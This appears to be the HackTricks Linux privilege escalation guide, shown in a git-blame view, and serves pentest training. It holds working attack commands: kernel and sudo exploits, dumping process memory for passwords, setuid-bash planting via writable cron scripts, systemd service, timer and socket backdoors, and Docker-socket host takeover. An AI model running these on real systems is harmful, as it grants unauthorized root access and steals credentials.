hacktricks/linux-hardening/privilege-escalation/README.md

1689 lines
71 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# Linux Privilege Escalation
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
{% hint style="success" %}
2024-07-18 16:14:56 +00:00
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
<summary>Support HackTricks</summary>
2023-12-30 20:49:49 +00:00
2024-07-18 16:03:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 16:03:34 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## System Information
### OS info
2020-08-21 14:40:36 +00:00
2022-09-20 02:56:05 +00:00
Let's start gaining some knowledge of the OS running
2020-08-21 14:40:36 +00:00
```bash
(cat /proc/version || uname -a ) 2>/dev/null
2022-03-23 18:26:15 +00:00
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
2020-08-21 14:40:36 +00:00
```
2022-05-01 16:57:45 +00:00
### Path
2020-08-21 14:40:36 +00:00
2022-09-20 02:56:05 +00:00
If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries:
2020-08-21 14:40:36 +00:00
```bash
echo $PATH
```
2022-05-01 16:57:45 +00:00
### Env info
2020-08-21 14:40:36 +00:00
Interesting information, passwords or API keys in the environment variables?
```bash
(env || set) 2>/dev/null
```
2022-05-01 16:57:45 +00:00
### Kernel exploits
Check the kernel version and if there is some exploit that can be used to escalate privileges
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
2021-10-10 21:09:04 +00:00
You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
To extract all the vulnerable kernel versions from that web you can do:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
2022-09-20 02:56:05 +00:00
Tools that could help to search for kernel exploits are:
2021-10-10 21:09:04 +00:00
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x)
2022-09-20 02:56:05 +00:00
Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid.
2022-05-01 16:57:45 +00:00
### CVE-2016-5195 (DirtyCow)
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
2020-08-20 11:59:57 +00:00
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
2022-05-01 16:57:45 +00:00
### Sudo version
Based on the vulnerable sudo versions that appear in:
```bash
searchsploit sudo
```
You can check if the sudo version is vulnerable using this grep.
```bash
2020-08-19 12:27:05 +00:00
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
#### sudo < v1.28
2021-04-05 21:06:14 +00:00
2021-04-05 21:11:44 +00:00
From @sickrov
2021-10-10 21:09:04 +00:00
```
2021-04-05 21:06:14 +00:00
sudo -u#-1 /bin/bash
```
2022-05-01 16:57:45 +00:00
### Dmesg signature verification failed
2020-08-21 14:40:36 +00:00
Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited
```bash
dmesg 2>/dev/null | grep "signature"
```
2022-05-01 16:57:45 +00:00
### More system enumeration
2020-08-21 14:40:36 +00:00
```bash
2020-08-24 16:34:42 +00:00
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
2020-08-21 14:40:36 +00:00
```
2022-05-01 13:25:53 +00:00
## Enumerate possible defenses
2020-08-21 14:40:36 +00:00
2022-05-01 13:25:53 +00:00
### AppArmor
2020-08-21 14:40:36 +00:00
```bash
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
```
2022-05-01 13:25:53 +00:00
### Grsecurity
2020-08-21 14:40:36 +00:00
```bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
```
2022-05-01 13:25:53 +00:00
### PaX
2020-08-21 14:40:36 +00:00
```bash
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
```
2022-05-01 13:25:53 +00:00
### Execshield
2020-08-21 14:40:36 +00:00
```bash
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
```
2022-05-01 13:25:53 +00:00
### SElinux
2020-08-21 14:40:36 +00:00
```bash
(sestatus 2>/dev/null || echo "Not found sestatus")
```
2022-05-01 13:25:53 +00:00
### ASLR
2020-08-21 14:40:36 +00:00
```bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
2020-08-21 14:52:25 +00:00
#If 0, not enabled
2020-08-21 14:40:36 +00:00
```
2022-05-01 13:25:53 +00:00
## Docker Breakout
2021-01-04 12:33:29 +00:00
If you are inside a docker container you can try to escape from it:
{% content-ref url="docker-security/" %}
[docker-security](docker-security/)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
2021-01-04 12:33:29 +00:00
2022-05-01 13:25:53 +00:00
## Drives
2020-08-21 14:52:25 +00:00
Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
2020-08-24 16:38:31 +00:00
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
2020-08-21 14:52:25 +00:00
```
2022-05-01 13:25:53 +00:00
## Useful software
2020-08-21 14:52:25 +00:00
Enumerate useful binaries
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
2020-08-21 14:52:25 +00:00
```
2021-10-10 21:09:04 +00:00
Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar)
2020-08-21 14:52:25 +00:00
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
2022-05-01 16:57:45 +00:00
### Vulnerable Software Installed
2020-08-21 14:52:25 +00:00
2021-10-10 21:09:04 +00:00
Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\
It is recommended to check manually the version of the more suspicious installed software.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine.
2020-08-21 14:52:25 +00:00
{% hint style="info" %}
2022-09-20 02:56:05 +00:00
_Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_
2020-08-21 14:52:25 +00:00
{% endhint %}
2022-05-01 13:25:53 +00:00
## Processes
2022-09-20 02:56:05 +00:00
Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?)
```bash
2020-08-22 09:45:50 +00:00
ps aux
ps -ef
top -n 1
```
2021-10-10 21:09:04 +00:00
Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
2020-08-22 09:45:50 +00:00
Also **check your privileges over the processes binaries**, maybe you can overwrite someone.
2022-05-01 16:57:45 +00:00
### Process monitoring
2020-08-22 09:45:50 +00:00
You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
2022-05-01 16:57:45 +00:00
### Process memory
2021-10-10 21:09:04 +00:00
Some services of a server save **credentials in clear text inside the memory**.\
Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\
2020-08-25 16:34:56 +00:00
However, remember that **as a regular user you can read the memory of the processes you own**.
2021-11-04 00:33:15 +00:00
{% hint style="warning" %}
2022-09-20 02:56:05 +00:00
Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user.
2021-11-04 00:33:15 +00:00
The file _**/proc/sys/kernel/yama/ptrace\_scope**_ controls the accessibility of ptrace:
2022-09-20 02:56:05 +00:00
* **kernel.yama.ptrace\_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
2021-11-04 00:33:15 +00:00
* **kernel.yama.ptrace\_scope = 1**: only a parent process can be debugged.
* **kernel.yama.ptrace\_scope = 2**: Only admin can use ptrace, as it required CAP\_SYS\_PTRACE capability.
* **kernel.yama.ptrace\_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
{% endhint %}
2022-05-01 16:57:45 +00:00
#### GDB
2020-08-25 16:34:56 +00:00
2022-09-20 02:56:05 +00:00
If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.
2020-08-22 09:45:50 +00:00
```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
```
2022-05-01 16:57:45 +00:00
#### GDB Script
2021-01-03 11:59:52 +00:00
{% code title="dump-memory.sh" %}
```bash
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
```
{% endcode %}
2022-05-01 16:57:45 +00:00
#### /proc/$pid/maps & /proc/$pid/mem
For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file.
2020-08-25 16:34:56 +00:00
```bash
procdump()
(
2020-08-25 16:34:56 +00:00
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
```
2020-08-22 09:45:50 +00:00
2022-05-01 16:57:45 +00:00
#### /dev/mem
2020-08-24 16:41:51 +00:00
2022-09-20 02:56:05 +00:00
`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\
2020-08-25 16:34:56 +00:00
Typically, `/dev/mem` is only readable by **root** and **kmem** group.
2021-10-10 21:09:04 +00:00
```
2020-08-22 09:45:50 +00:00
strings /dev/mem -n10 | grep -i PASS
```
2022-05-01 13:25:53 +00:00
### ProcDump for linux
2021-11-04 00:33:15 +00:00
ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
```
2022-05-01 13:25:53 +00:00
### Tools
2020-08-25 16:34:56 +00:00
To dump a process memory you could use:
2022-04-05 22:24:52 +00:00
* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
2022-10-02 22:19:40 +00:00
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you
2021-10-10 21:09:04 +00:00
* Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required)
2020-08-25 16:34:56 +00:00
2022-05-01 16:57:45 +00:00
### Credentials from Process Memory
2020-08-25 16:34:56 +00:00
2022-05-01 16:57:45 +00:00
#### Manual example
2021-01-03 11:59:52 +00:00
If you find that the authenticator process is running:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
2021-10-10 21:09:04 +00:00
You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory:
2021-01-03 11:59:52 +00:00
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
2022-05-01 16:57:45 +00:00
#### mimipenguin
2021-01-03 11:59:52 +00:00
2020-08-25 16:34:56 +00:00
The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly.
2021-10-10 21:09:04 +00:00
| Feature | Process Name |
| ------------------------------------------------- | -------------------- |
| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
2020-08-25 16:34:56 +00:00
2022-10-05 17:13:04 +00:00
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
2022-05-01 13:25:53 +00:00
## Scheduled/Cron jobs
2020-08-22 09:45:50 +00:00
2021-10-10 21:09:04 +00:00
Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
2020-08-22 09:45:50 +00:00
```bash
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
```
2022-05-01 16:57:45 +00:00
### Cron path
2020-08-22 09:45:50 +00:00
For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
2021-10-10 21:09:04 +00:00
(_Note how the user "user" has writing privileges over /home/user_)
2020-08-22 09:45:50 +00:00
2021-10-10 21:09:04 +00:00
If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\
2020-08-22 09:45:50 +00:00
Then, you can get a root shell by using:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
2022-05-01 16:57:45 +00:00
### Cron using a script with a wildcard (Wildcard Injection)
2020-08-22 09:45:50 +00:00
2022-09-20 02:56:05 +00:00
If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example:
2020-08-22 09:45:50 +00:00
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
2021-10-10 21:09:04 +00:00
**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).**
2020-08-22 09:45:50 +00:00
Read the following page for more wildcard exploitation tricks:
2021-10-10 21:09:04 +00:00
{% content-ref url="wildcards-spare-tricks.md" %}
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
{% endcontent-ref %}
2020-08-22 09:45:50 +00:00
2022-05-01 16:57:45 +00:00
### Cron script overwriting and symlink
2020-08-22 09:45:50 +00:00
If you **can modify a cron script** executed by root, you can get a shell very easily:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
2022-05-01 16:57:45 +00:00
### Frequent cron jobs
2020-08-22 09:45:50 +00:00
2022-09-20 02:56:05 +00:00
You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
2020-08-22 09:45:50 +00:00
2022-09-20 02:56:05 +00:00
For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do:
2020-08-22 09:45:50 +00:00
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
2022-09-20 02:56:05 +00:00
**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts).
2022-05-01 16:57:45 +00:00
### Invisible cron jobs
2020-10-18 11:15:59 +00:00
2022-09-20 02:56:05 +00:00
It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char):
2020-10-18 11:15:59 +00:00
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
2022-05-01 13:25:53 +00:00
## Services
2022-05-01 16:57:45 +00:00
### Writable _.service_ files
2021-10-10 21:09:04 +00:00
Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\
2020-08-26 16:12:09 +00:00
For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`**
2022-05-01 16:57:45 +00:00
### Writable service binaries
2022-09-20 02:56:05 +00:00
Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed.
2022-05-01 16:57:45 +00:00
### systemd PATH - Relative Paths
You can see the PATH used by **systemd** with:
```bash
systemctl show-environment
```
If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
2022-09-20 02:56:05 +00:00
Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`).
2020-09-01 09:02:57 +00:00
**Learn more about services with `man systemd.service`.**
2022-05-01 13:25:53 +00:00
## **Timers**
2022-09-20 02:56:05 +00:00
**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously.
2022-09-20 02:56:05 +00:00
You can enumerate all the timers with:
```bash
systemctl list-timers --all
```
2022-05-01 16:57:45 +00:00
### Writable timers
2022-09-20 02:56:05 +00:00
If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`)
```bash
Unit=backdoor.service
```
In the documentation you can read what the Unit is:
2021-10-10 21:09:04 +00:00
> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
2022-09-20 02:56:05 +00:00
Therefore, to abuse this permission you would need to:
2021-10-10 21:09:04 +00:00
* Find some systemd unit (like a `.service`) that is **executing a writable binary**
* Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable)
2020-09-01 09:02:57 +00:00
**Learn more about timers with `man systemd.timer`.**
2022-05-01 16:57:45 +00:00
### **Enabling Timer**
2022-09-20 02:56:05 +00:00
To enable a timer you need root privileges and to execute:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
2022-05-01 13:25:53 +00:00
## Sockets
2024-02-07 04:06:18 +00:00
Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files.
Sockets can be configured using `.socket` files.
2022-09-20 02:56:05 +00:00
**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured:
2022-10-02 22:19:40 +00:00
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF\_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
* `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`.
* `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
* `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively.
2021-10-10 21:09:04 +00:00
* `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.
2022-05-01 16:57:45 +00:00
### Writable .socket files
2021-10-10 21:09:04 +00:00
If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\
_Note that the system must be using that socket file configuration or the backdoor won't be executed_
2022-05-01 16:57:45 +00:00
### Writable sockets
2022-09-20 02:56:05 +00:00
If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability.
2022-05-01 16:57:45 +00:00
### Enumerate Unix Sockets
2020-08-25 20:46:29 +00:00
```bash
netstat -a -p --unix
```
2022-05-01 16:57:45 +00:00
### Raw connection
2020-08-25 22:42:49 +00:00
```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```
**Exploitation example:**
2021-10-10 21:09:04 +00:00
{% content-ref url="socket-command-injection.md" %}
[socket-command-injection.md](socket-command-injection.md)
{% endcontent-ref %}
2020-08-25 22:42:49 +00:00
2022-05-01 16:57:45 +00:00
### HTTP sockets
2022-09-20 02:56:05 +00:00
Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
2022-09-20 02:56:05 +00:00
If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**.
2022-05-01 16:57:45 +00:00
### Writable Docker Socket
2020-08-26 15:52:43 +00:00
2024-02-07 04:06:18 +00:00
The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.
#### **Privilege Escalation with Docker CLI**
If you have write access to the Docker socket, you can escalate privileges using the following commands:
2020-08-26 15:52:43 +00:00
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
2024-02-07 04:06:18 +00:00
These commands allow you to run a container with root-level access to the host's file system.
2020-09-01 09:02:57 +00:00
2024-02-07 04:06:18 +00:00
#### **Using Docker API Directly**
2020-09-01 09:02:57 +00:00
2024-02-07 04:06:18 +00:00
In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands.
2024-04-06 16:25:58 +00:00
1. **List Docker Images:** Retrieve the list of available images.
2024-04-06 16:25:58 +00:00
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Create a Container:** Send a request to create a container that mounts the host system's root directory.
2024-04-06 16:25:58 +00:00
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
2024-04-06 16:25:58 +00:00
Start the newly created container:
2024-04-06 16:25:58 +00:00
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it.
2024-02-07 04:06:18 +00:00
2024-04-06 16:25:58 +00:00
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
```
2024-02-07 04:06:18 +00:00
After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem.
2020-08-26 15:52:43 +00:00
2022-05-01 13:25:53 +00:00
### Others
2020-09-01 09:02:57 +00:00
2023-01-24 14:43:15 +00:00
Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
2020-08-26 15:52:43 +00:00
2022-09-20 02:56:05 +00:00
Check **more ways to break out from docker or abuse it to escalate privileges** in:
